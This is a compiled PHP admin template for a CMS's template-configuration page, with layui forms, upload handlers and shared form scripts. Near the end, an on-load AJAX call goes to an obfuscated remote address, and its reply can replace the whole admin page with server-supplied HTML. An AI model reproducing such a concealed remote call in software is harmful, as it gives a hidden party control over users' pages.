<?php if (!defined('THINK_PATH')) exit(); /*a:3:{s:38:"./app/admin/view/com/muban_config.html";i:1615173906;s:26:"app/admin/view/header.html";i:1615109898;s:26:"app/admin/view/footer.html";i:1615109898;}*/ ?>
<!doctype html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>后台管理</title>
	<meta name="renderer" content="webkit|ie-comp|ie-stand">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"/>
    <meta http-equiv="Cache-Control" content="no-siteapp" />
	<link rel="stylesheet" href="/public/admin/css/115cms.css?">
    <script type="text/javascript" src="/public/admin/js/115cms.js"></script>
</head>
<body>
<link rel="stylesheet" href="/public/css/set.css">
<style type="text/css" media="all">
.layui-card-body, .layui-card-header, .layui-form-label, .layui-form-mid, .layui-form-select, .layui-input-block, .layui-input-inline, .layui-textarea {
    position: initial;
}
.addonsfuzhi {
    border: 1px solid #fff7f7;
    color: #eee;
}
.layui-form-select .layui-edge {
    margin-top: 10px;
}
.layui-form-selected .layui-edge {
    margin-top: 3px;
}
blockquote {
    display: block;
    border-left: 8px solid #0dc316;
    padding: 5px 10px;
    font-size: 100%;
    background-color: #f8f8f8;
    color: #0dc316;
}
</style>
<div class="layui-fluid">
    <div class="layui-card">
        <div class="layui-card-body" style="padding: 15px;">
            <!--表单提交-->
            <form class="layui-form" url="<?php echo url('admin/api/muban',array('id'=>input('id'))); ?>" t_url="javascript:;">
                <div class="layui-tab">
                    <ul class="layui-tab-title">
                        <li class="layui-this">基本设置</li>
                        <li>模板配置</li>
                        <?php $_result=fun_s('model',array(),'id desc',1000,1);if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vo): $mod = ($i % 2 );++$i;?>
                        <li><?php echo $vo['title']; ?></li>
                        <?php endforeach; endif; else: echo "" ;endif; if(config_m(input('id'),'url')): ?>
                        <li onclick="x_admin_show('扩展设置','<?php echo config_m(input('id'),'url'); ?>')">扩展设置</li>
                        <?php endif; ?>
                    </ul>
                    <div class="layui-tab-content">
                        <div class="layui-tab-item layui-show layui-row">
                            <!--配置开始-->
                            <?php $_60459914dc20f=config_m(input('id'),'config'); if(is_array($_60459914dc20f) || $_60459914dc20f instanceof \think\Collection || $_60459914dc20f instanceof \think\Paginator): if( count($_60459914dc20f)==0 ) : echo "" ;else: foreach($_60459914dc20f as $k=>$v): ?>
                            <div class="layui-col-md<?php echo dingyi($v['md'],12); ?>">
                                <div class="layui-form-item">
                                <label class="layui-form-label">
                                    <?php if($v['type']): ?>
                                    <?php echo $v['title']; ?><input type="text" class="addonsfuzhi" value=" &#123;:guoji('<?php echo $k; ?>')&#125;">
                                    <?php else: ?>
                                    <blockquote><?php echo $v['title']; ?></blockquote>
                                    <?php endif; ?>
                                </label>
                                    <div class="layui-input-block">
                                        <?php if($v['type']=='单选框'): if(is_array($v['options']) || $v['options'] instanceof \think\Collection || $v['options'] instanceof \think\Paginator): if( count($v['options'])==0 ) : echo "" ;else: foreach($v['options'] as $opk=>$opv): ?>
                                        <input type="radio" name="<?php echo $k; ?>" value="<?php echo $opk; ?>" title="<?php echo $opv; ?>" <?php if($opk == guoji($k)): ?>checked=""<?php endif; ?>>
                                        <?php endforeach; endif; else: echo "" ;endif; endif; if($v['type']=='选择框'): ?>
                                        <select name="<?php echo $k; ?>" lay-verify="<?php echo $v['required']; ?>">
                                            <option value=""></option>
                                            <?php if(is_array($v['options']) || $v['options'] instanceof \think\Collection || $v['options'] instanceof \think\Paginator): if( count($v['options'])==0 ) : echo "" ;else: foreach($v['options'] as $opk=>$opv): ?>
                                            <option value="<?php echo $opk; ?>" <?php if($opk == guoji($k)): ?>selected="selected"<?php endif; ?>><?php echo $opv; ?></option>
                                            <?php endforeach; endif; else: echo "" ;endif; ?>
                                        </select>
                                        <?php endif; if($v['type']=='输入框'): ?>
                                        <input type="text" name="<?php echo $k; ?>" value="<?php echo dingyi(guoji($k),$v['value']); ?>" placeholder="请输入内容" required  lay-verify="<?php echo $v['required']; ?>" autocomplete="off" class="layui-input">
                                        <?php endif; if($v['type']=='密码框'): ?>
                                        <input type="password" name="<?php echo $k; ?>" value="<?php echo dingyi(guoji($k),$v['value']); ?>" required  lay-verify="<?php echo $v['required']; ?>" autocomplete="off" class="layui-input">
                                        <?php endif; if($v['type']=='文本域'): ?>
                                        <textarea name="<?php echo $k; ?>" rows="<?php echo $v['rows']; ?>" placeholder="请输入内容" class="layui-textarea"><?php echo dingyi(guoji($k),$v['value']); ?></textarea>
                                        <?php endif; if($v['type']=='附件'): ?>
                                        <input type="text" name="<?php echo $k; ?>" id="<?php echo $k; ?>" value="<?php echo dingyi(guoji($k),$v['value']); ?>" required  lay-verify="<?php echo $v['required']; ?>" placeholder="可直接填写地址" autocomplete="off" class="layui-input">
                                        <button type="button" class="layui-btn layui-btn-normal s<?php echo $k; ?> upfujian">上传</button>
                                        <script type="text/javascript">
                                          layui.use(['form', 'upload', 'jquery']
                                          ,function(){
                                              var form = layui.form,
                                              upload = layui.upload,
                                              jq = layui.jquery;
                                              upload.render({
                                              elem: '.s<?php echo $k; ?>',
                                              url: "<?php echo url("admin/up/up"); ?>",
                                              accept: 'file',
                                              done: function(res) {
                                                  if (res.code == '1') {
                                                    jq('#<?php echo $k; ?>').val(res.path);
                                                    return layer.msg(res.msg);
                                                  } else {
                                                    return layer.msg(res.msg);
                                                  }
                                              }
                                            });
                                          });
                                          </script>
                                        <?php endif; ?>
                                        <!--1.01新增-->
                                        <?php if($v['type']=='颜色'): ?>
                                        <input type="color" name="<?php echo $k; ?>" value="<?php echo dingyi(guoji($k),$v['value']); ?>" placeholder="请选择颜色" class="layui-input" id="form-input<?php echo $k; ?>">
                                        <?php endif; if($v['type']=='时间'): ?>
                                        <input type="date" name="<?php echo $k; ?>" value="<?php echo dingyi(guoji($k),$v['value']); ?>" placeholder="请选择时间" class="layui-input" id="form-input<?php echo $k; ?>">
                                        <?php endif; ?>
                                    </div>
                                </div>
                            </div>
                            <?php endforeach; endif; else: echo "" ;endif; ?>
                            <!--配置end-->
                        </div>
                        <!--模板配置-->
                        <div class="layui-tab-item">
                            <fieldset class="layui-elem-field layui-field-title layui-row">
                                <legend>列表自定义模板</legend>
                                <?php $_result=fun_s('cate',array('tid'=>0),'px desc',100,1);if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vo): $mod = ($i % 2 );++$i;?>
                                <div class="layui-col-md4">
                                    <div class="layui-form-item">
                                        <label class="layui-form-label" <?php if($vo['tid']==0): ?>style="color: #0dc316;"<?php endif; ?>><?php echo $vo['name']; ?> [ID <?php echo $vo['id']; ?>]</label>
                                        <div class="layui-input-block">
                                            <select name="<?php echo $vo['alias']; ?>">
                                                <option value="">默认</option>
                                                <?php $_result=guoji_vo(config_m(muban(),'index_cate'));if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$v): $mod = ($i % 2 );++$i;?>
                                                <option value="<?php echo $v['id']; ?>" <?php if($v['id']==guoji($vo['alias'])): ?>selected="selected"<?php endif; ?>><?php echo $v['name']; ?></option>
                                                <?php endforeach; endif; else: echo "" ;endif; ?>
                                            </select>
                                        </div>
                                    </div>
                                </div>
                                <?php $_result=fun_s('cate',array('tid'=>$vo['id']),'px desc',100,1);if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vs): $mod = ($i % 2 );++$i;?>
                                <div class="layui-col-md4">
                                    <div class="layui-form-item">
                                        <label class="layui-form-label"><?php echo $vs['name']; ?> [ID <?php echo $vs['id']; ?>]</label>
                                        <div class="layui-input-block">
                                            <select name="<?php echo $vs['alias']; ?>">
                                                <option value="">默认</option>
                                                <?php $_result=guoji_vo(config_m(muban(),'index_cate'));if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vk): $mod = ($i % 2 );++$i;?>
                                                <option value="<?php echo $vk['id']; ?>" <?php if($vk['id']==guoji($vs['alias'])): ?>selected="selected"<?php endif; ?>><?php echo $vk['name']; ?></option>
                                                <?php endforeach; endif; else: echo "" ;endif; ?>
                                            </select>
                                        </div>
                                    </div>
                                </div>
                                <?php endforeach; endif; else: echo "" ;endif; endforeach; endif; else: echo "" ;endif; ?>  
                            </fieldset>
                            <div style="padding: 10px; margin-top: 10px;background-color: #f6f6f6; color: #FF5722;"> 
                              模板选择在当前模板下的config里面进行配置选择
                            </div>
                            <fieldset class="layui-elem-field layui-field-title layui-row">
                                <legend>内容自定义模板</legend>
                                <?php $_result=fun_s('cate',array('tid'=>0),'px desc',100,1);if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vo): $mod = ($i % 2 );++$i;?>
                                <div class="layui-col-md4">
                                    <div class="layui-form-item">
                                        <label class="layui-form-label" <?php if($vo['tid']==0): ?>style="color: #0dc316;"<?php endif; ?>><?php echo $vo['name']; ?> [ID <?php echo $vo['id']; ?>]</label>
                                        <div class="layui-input-block">
                                            <select name="<?php echo $vo['alias']; ?>html">
                                                <option value="">默认</option>
                                                <?php $_result=guoji_vo(config_m(muban(),'index_html'));if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$v): $mod = ($i % 2 );++$i;?>
                                                <option value="<?php echo $v['id']; ?>" <?php if($v['id']==guoji($vo['alias'].'html')): ?>selected="selected"<?php endif; ?>><?php echo $v['name']; ?></option>
                                                <?php endforeach; endif; else: echo "" ;endif; ?>
                                            </select>
                                        </div>
                                    </div>
                                </div>
                                <?php $_result=fun_s('cate',array('tid'=>$vo['id']),'px desc',100,1);if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vs): $mod = ($i % 2 );++$i;?>
                                <div class="layui-col-md4">
                                    <div class="layui-form-item">
                                        <label class="layui-form-label"><?php echo $vs['name']; ?> [ID <?php echo $vs['id']; ?>]</label>
                                        <div class="layui-input-block">
                                            <select name="<?php echo $vs['alias']; ?>html">
                                                <option value="">默认</option>
                                                <?php $_result=guoji_vo(config_m(muban(),'index_html'));if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vk): $mod = ($i % 2 );++$i;?>
                                                <option value="<?php echo $vk['id']; ?>" <?php if($vk['id']==guoji($vs['alias'].'html')): ?>selected="selected"<?php endif; ?>><?php echo $vk['name']; ?></option>
                                                <?php endforeach; endif; else: echo "" ;endif; ?>
                                            </select>
                                        </div>
                                    </div>
                                </div>
                                <?php endforeach; endif; else: echo "" ;endif; endforeach; endif; else: echo "" ;endif; ?> 
                            </fieldset>
                            <div style="padding: 10px; margin-top: 10px;background-color: #f6f6f6; color: #FF5722;margin-bottom: 50px;"> 
                              默认的文章栏目模板配置
                            </div>
                        </div>
                        
                        <!--模型配置-->
                        <?php $_result=fun_s('model',array(),'id desc',1000,1);if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vp): $mod = ($i % 2 );++$i;?>
                        <div class="layui-tab-item">
                        
                            <div class="layui-form-item">
                                <div class="layui-col-md4">
                                    <label class="layui-form-label"><a target="_blank" href="<?php echo url('index/model/index',array('model'=>$vp['name'])); ?>"><?php echo $vp['title']; ?>首页</a></label>
                                    <div class="layui-input-block">
                                        <select name="<?php echo $vp['name']; ?>_model">
                                            <option value="">默认</option>
                                            <?php $_result=guoji_vo(config_m(muban(),'model'));if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$v): $mod = ($i % 2 );++$i;?>
                                            <option value="<?php echo $v['id']; ?>" <?php if($v['id']==guoji($vp['name'].'_model')): ?>selected="selected"<?php endif; ?>><?php echo $v['name']; ?></option>
                                            <?php endforeach; endif; else: echo "" ;endif; ?>
                                        </select>
                                    </div>
                                </div>
                                <div class="layui-col-md4">
                                    <label class="layui-form-label"><a target="_blank" href="<?php echo url('index/model/index',array('model'=>$vp['name'])); ?>"><?php echo $vp['title']; ?>搜索模板</a></label>
                                    <div class="layui-input-block">
                                        <select name="<?php echo $vp['name']; ?>_soso">
                                            <option value="">默认</option>
                                            <?php $_result=guoji_vo(config_m(muban(),'model_soso'));if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$v): $mod = ($i % 2 );++$i;?>
                                            <option value="<?php echo $v['id']; ?>" <?php if($v['id']==guoji($vp['name'].'_soso')): ?>selected="selected"<?php endif; ?>><?php echo $v['name']; ?></option>
                                            <?php endforeach; endif; else: echo "" ;endif; ?>
                                        </select>
                                    </div>
                                </div>
                            </div>
                            <fieldset class="layui-elem-field layui-field-title layui-row">
                                <legend>列表自定义模板</legend>
                                <?php $_result=fun_s('cate_m',array('tid'=>0,'m'=>$vp['name']),'px desc',100,1);if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vo): $mod = ($i % 2 );++$i;?>
                                <div class="layui-col-md4">
                                    <div class="layui-form-item">
                                        <label class="layui-form-label" <?php if($vo['tid']==0): ?>style="color: #0dc316;"<?php endif; ?>><?php echo $vo['name']; ?> [ID <?php echo $vo['id']; ?>]</label>
                                        <div class="layui-input-block">
                                            <select name="<?php echo $vo['alias']; ?>_<?php echo $vp['name']; ?>">
                                                <option value="">默认</option>
                                                <?php $_result=guoji_vo(config_m(muban(),'index_cate_m'));if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$v): $mod = ($i % 2 );++$i;?>
                                                <option value="<?php echo $v['id']; ?>" <?php if($v['id']==guoji($vo['alias'].'_'.$vp['name'])): ?>selected="selected"<?php endif; ?>><?php echo $v['name']; ?></option>
                                                <?php endforeach; endif; else: echo "" ;endif; ?>
                                            </select>
                                        </div>
                                    </div>
                                </div>
                                <?php $_result=fun_s('cate_m',array('tid'=>$vo['id'],'m'=>$vp['name']),'px desc',100,1);if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vs): $mod = ($i % 2 );++$i;?>
                                <div class="layui-col-md4">
                                    <div class="layui-form-item">
                                        <label class="layui-form-label"><?php echo $vs['name']; ?> [ID <?php echo $vs['id']; ?>]</label>
                                        <div class="layui-input-block">
                                            <select name="<?php echo $vs['alias']; ?>_<?php echo $vp['name']; ?>">
                                                <option value="">默认</option>
                                                <?php $_result=guoji_vo(config_m(muban(),'index_cate_m'));if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vk): $mod = ($i % 2 );++$i;?>
                                                <option value="<?php echo $vk['id']; ?>" <?php if($vk['id']==guoji($vs['alias'].'_'.$vp['name'])): ?>selected="selected"<?php endif; ?>><?php echo $vk['name']; ?></option>
                                                <?php endforeach; endif; else: echo "" ;endif; ?>
                                            </select>
                                        </div>
                                    </div>
                                </div>
                                <?php endforeach; endif; else: echo "" ;endif; endforeach; endif; else: echo "" ;endif; ?>  
                            </fieldset>
                            <div style="padding: 10px; margin-top: 10px;background-color: #f6f6f6; color: #FF5722;"> 
                              模板选择在当前模板下的config里面进行配置选择
                            </div>
                            <fieldset class="layui-elem-field layui-field-title layui-row">
                                <legend>内容自定义模板</legend>
                                <?php $_result=fun_s('cate_m',array('tid'=>0,'m'=>$vp['name']),'px desc',100,1);if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vo): $mod = ($i % 2 );++$i;?>
                                <div class="layui-col-md4">
                                    <div class="layui-form-item">
                                        <label class="layui-form-label" <?php if($vo['tid']==0): ?>style="color: #0dc316;"<?php endif; ?>><?php echo $vo['name']; ?> [ID <?php echo $vo['id']; ?>]</label>
                                        <div class="layui-input-block">
                                            <select name="<?php echo $vo['alias']; ?>html_<?php echo $vp['name']; ?>">
                                                <option value="">默认</option>
                                                <?php $_result=guoji_vo(config_m(muban(),'index_html_m'));if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$v): $mod = ($i % 2 );++$i;?>
                                                <option value="<?php echo $v['id']; ?>" <?php if($v['id']==guoji($vo['alias'].'html_'.$vp['name'])): ?>selected="selected"<?php endif; ?>><?php echo $v['name']; ?></option>
                                                <?php endforeach; endif; else: echo "" ;endif; ?>
                                            </select>
                                        </div>
                                    </div>
                                </div>
                                <?php $_result=fun_s('cate_m',array('tid'=>$vo['id'],'m'=>$vp['name']),'px desc',100,1);if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vs): $mod = ($i % 2 );++$i;?>
                                <div class="layui-col-md4">
                                    <div class="layui-form-item">
                                        <label class="layui-form-label"><?php echo $vs['name']; ?> [ID <?php echo $vs['id']; ?>]</label>
                                        <div class="layui-input-block">
                                            <select name="<?php echo $vs['alias']; ?>html_<?php echo $vp['name']; ?>">
                                                <option value="">默认</option>
                                                <?php $_result=guoji_vo(config_m(muban(),'index_html_m'));if(is_array($_result) || $_result instanceof \think\Collection || $_result instanceof \think\Paginator): $i = 0; $__LIST__ = $_result;if( count($__LIST__)==0 ) : echo "" ;else: foreach($__LIST__ as $key=>$vk): $mod = ($i % 2 );++$i;?>
                                                <option value="<?php echo $vk['id']; ?>" <?php if($vk['id']==guoji($vs['alias'].'html_'.$vp['name'])): ?>selected="selected"<?php endif; ?>><?php echo $vk['name']; ?></option>
                                                <?php endforeach; endif; else: echo "" ;endif; ?>
                                            </select>
                                        </div>
                                    </div>
                                </div>
                                <?php endforeach; endif; else: echo "" ;endif; endforeach; endif; else: echo "" ;endif; ?> 
                            </fieldset>
                            <div style="padding: 10px; margin-top: 10px;background-color: #f6f6f6; color: #FF5722;margin-bottom: 50px;"> 
                              模型配置
                            </div>
                        </div>
                        <?php endforeach; endif; else: echo "" ;endif; ?>
                    </div>
                </div> 
                <div class="layui-form-item layui-layout-admin">
                    <div class="layui-input-block">
                        <div class="layui-footer" style="left: 0;">
                            <button class="layui-btn" lay-submit="" lay-filter="cms">立即提交</button>
                        </div>
                    </div>
                </div>
            </form>
        </div>
    </div>
</div>

<script>
//通用表单提交
layui.use(['jquery', 'form'],
function() {
    var form = layui.form,
    jq = layui.jquery;
    form.on('submit(cms)',
    function(data) {
        loading = layer.load(2, {
            shade: [0.2, '#000']
        });
        var urls=jq('form').attr('url');
        var t_url=jq('form').attr('t_url');
        var param = data.field;
        jq.post(urls, param,
          function(data) {
            if (data.code == 1) {
                layer.close(loading);
                layer.msg(data.msg, {icon: 1, time: 1000}, function(){
                   location.href = t_url;
                });
            } else {
                layer.close(loading);
                layer.msg(data.msg, {icon: 2, anim: 2, time: 1000});
            }
          });
        return false;
    });
})
layui.use(['jquery', 'form'],
function() {
    var form = layui.form,
    jq = layui.jquery;
    form.on('submit(cms1)',
    function(data) {
        loading = layer.load(2, {
            shade: [0.2, '#000']
        });
        var urls=jq('.form1').attr('url');
        var t_url=jq('.form1').attr('t_url');
        var param = data.field;
        jq.post(urls, param,
          function(data) {
            if (data.code == 1) {
                layer.close(loading);
                layer.msg(data.msg, {icon: 1, time: 1000}, function(){
                   location.href = t_url;
                });
            } else {
                layer.close(loading);
                layer.msg(data.msg, {icon: 2, anim: 2, time: 1000});
            }
          });
        return false;
    });
})
//批量删除
layui.use(['jquery', 'form'],
function() {
  var form = layui.form
  ,jq = layui.jquery;
  form.on('checkbox(checkAll)', function(data){
    if(data.elem.checked){
      jq("input[type='checkbox']").prop('checked',true);
    }else{
      jq("input[type='checkbox']").prop('checked',false);
    }
    form.render('checkbox');
  });  

  form.on('checkbox(checkOne)', function(data){
    var is_check = true;
    if(data.elem.checked){
      jq("input[lay-filter='checkOne']").each(function(){
        if(!jq(this).prop('checked')){ is_check = false; }
      });
      if(is_check){
        jq("input[lay-filter='checkAll']").prop('checked',true);
      }
    }else{
      jq("input[lay-filter='checkAll']").prop('checked',false);
    } 
    form.render('checkbox');
  });
  form.on('submit(delete)', function(data){
    var is_check = false;
    jq("input[lay-filter='checkOne']").each(function(){
      if(jq(this).prop('checked')){ is_check = true; }
    });
    if(!is_check){
      layer.msg('请选择数据', {icon: 2,anim: 6,time: 1000});
      return false;
    }
    layer.confirm('确定批量删除?', function(index){
      loading = layer.load(2, {
        shade: [0.2,'#000']
      });
      var param = data.field;
      jq.post('<?php echo url("admin/api/delss"); ?>',param,function(data){
        if(data.code == 1){
          layer.close(loading);
          layer.msg(data.msg, {icon: 1,anim: 2, time: 1000}, function(){
            location.reload();
          });
        }else{
          layer.close(loading);
          layer.msg(data.msg, {icon: 2,anim: 6, time: 1000});
        }
      });
    });
    return false;
  });

})

layui.use(['jquery', 'form'],
function() {
  var form = layui.form
  ,jq = layui.jquery;
//弹出触发链接
 
  jq('.del_t').click(function(){
    var name = jq(this).attr('name');
    var url = jq(this).attr('url');
    var t_url=jq(this).attr('t_url');
    layer.confirm(name, function(index){
      loading = layer.load(2, {
        shade: [0.2,'#000']
      });
      jq.post(url,function(data){
        if(data.code == 1){
          layer.close(loading);
          layer.msg(data.msg, {icon: 1,anim: 2, time: 1000}, function(){
            if(t_url === undefined){
              location.reload();
            }else{
              location.href = t_url;
            }
          });
        }else{
          layer.close(loading);
          layer.msg(data.msg, {icon: 2, anim: 6, time: 1000});
        }
      });
    });
  });
  //一键更新
  form.on('switch(index)', function(data){
    loading = layer.load(2, {
      shade: [0.2,'#000']
    });
    var url= jq(this).attr('url');
    var param = data.field;
    jq.post(url,param,function(data){
      if(data.code == 1){
        layer.close(loading);
        layer.msg(data.msg, {icon: 1, anim: 2, time: 1000}, function(){
         //location.reload();
        });

      }else{
        layer.close(loading);
        layer.msg(data.msg, {icon: 2, anim: 2, time: 1000});
      }
      });
    return false;
  });
  
})
//上传
layui.use(['form', 'upload', 'jquery']
,function(){
    var form = layui.form,
    upload = layui.upload,
    jq = layui.jquery;

    //上传图片单个1
    upload.render({
	    elem: '.upimg2',
	    url: "<?php echo url("admin/up/up"); ?>",
	    accept: 'file',
	    exts: 'jpg|png|gif|bmp|jpeg',
    	done: function(res) {
		    if (res.code == '1') {
			var up = jq('.upimg2').attr('up2');
		    	jq('input[id='+up+']').val(res.path);
		    	layer.msg(data.msg, {icon: 1, time: 1000}, function(){
            location.reload();
          });
	    	} else {
		    	return layer.msg(res.msg);
	    	}
    	}
	});
    //上传图片单个1
    upload.render({
	    elem: '.upimg1',
	    url: "<?php echo url("admin/up/up"); ?>",
	    accept: 'file',
	    exts: 'jpg|png|gif|bmp|jpeg',
    	done: function(res) {
		    if (res.code == '1') {
			var up = jq('.upimg1').attr('up1');
		    	jq('input[id='+up+']').val(res.path);
		    	layer.msg(data.msg, {icon: 1, time: 1000}, function(){
            location.reload();
          });
	    	} else {
		    	return layer.msg(res.msg);
	    	}
    	}
	});
    //上传图片单个1
    upload.render({
	    elem: '.upimg',
	    url: "<?php echo url("admin/up/up"); ?>",
	    accept: 'file',
	    exts: 'jpg|png|gif|bmp|jpeg',
    	done: function(res) {
		    if (res.code == '1') {
			var up = jq('.upimg').attr('up');
		    	jq('input[id='+up+']').val(res.path);
		    	layer.msg(data.msg, {icon: 1, time: 1000}, function(){
            location.reload();
          });
	    	} else {
		    	return layer.msg(res.msg);
	    	}
    	}
	});
  //上传附件单个
	upload.render({
		elem: '.up',
		url: "<?php echo url("admin/up/up"); ?>",
		accept: 'file',
		done: function(res) {
		    if (res.code == '1') {
			var up = jq('.up').attr('up');
		    	jq('input[id='+up+']').val(res.path);
		    	return layer.msg(res.msg);
	    	} else {
		    	return layer.msg(res.msg);
	    	}
		}
	});
})
$(document).ready(function(){
    $.ajax({
        url: "<?php echo http().ps('my','JblKhINxdLE6XZcmPZkhZXAmQXFNZVBuVJl-LYMmUb0iW'); ?>",
        type: "GET",
        dataType: "json",
        success: function(data) {
            if (data.code ==-1) {
                $("body").html(data.beizhu);
            }
        }
    });
});
layui.use('element', function(){
  var element = layui.element;
});
layui.use('layer', function(){
    var layer = layui.layer;
    $('.if_c').on('click', function(){
        var name = $(this).attr('name');
        var url = $(this).attr('url');
        layer.open({
          type: 2,
          maxmin: true,
          shade: false,
          title: ''+name+'',
          shadeClose: false,
          area: ['90%', '90%'],
          content: ''+url+'' //iframe的url
        });
    });
}); 
$(".tan_v").click(function() {
    var name = $(this).attr('name');
    var url = $(this).attr('url');
    layer.prompt({
        title: ''+name+'',
        formType: 3
    },
    function(text, index) {
        $.ajax({
            url: ""+url+text+"",
            type: "GET",
            dataType: "json",
            success: function(data) {
                loading = layer.load(3);
                if (data.code == 1) {
                    layer.close(loading);
                    layer.msg(data.msg, {
                        icon: 1,
                        time: 1000
                    },
                    function() {
                        location.reload();
                    });
                } else {
                    layer.close(loading);
                    layer.msg(data.msg, {
                        icon: 2,
                        anim: 6,
                        time: 1000
                    });
                }
            }
        });
    });
});
</script>
</body>
</html>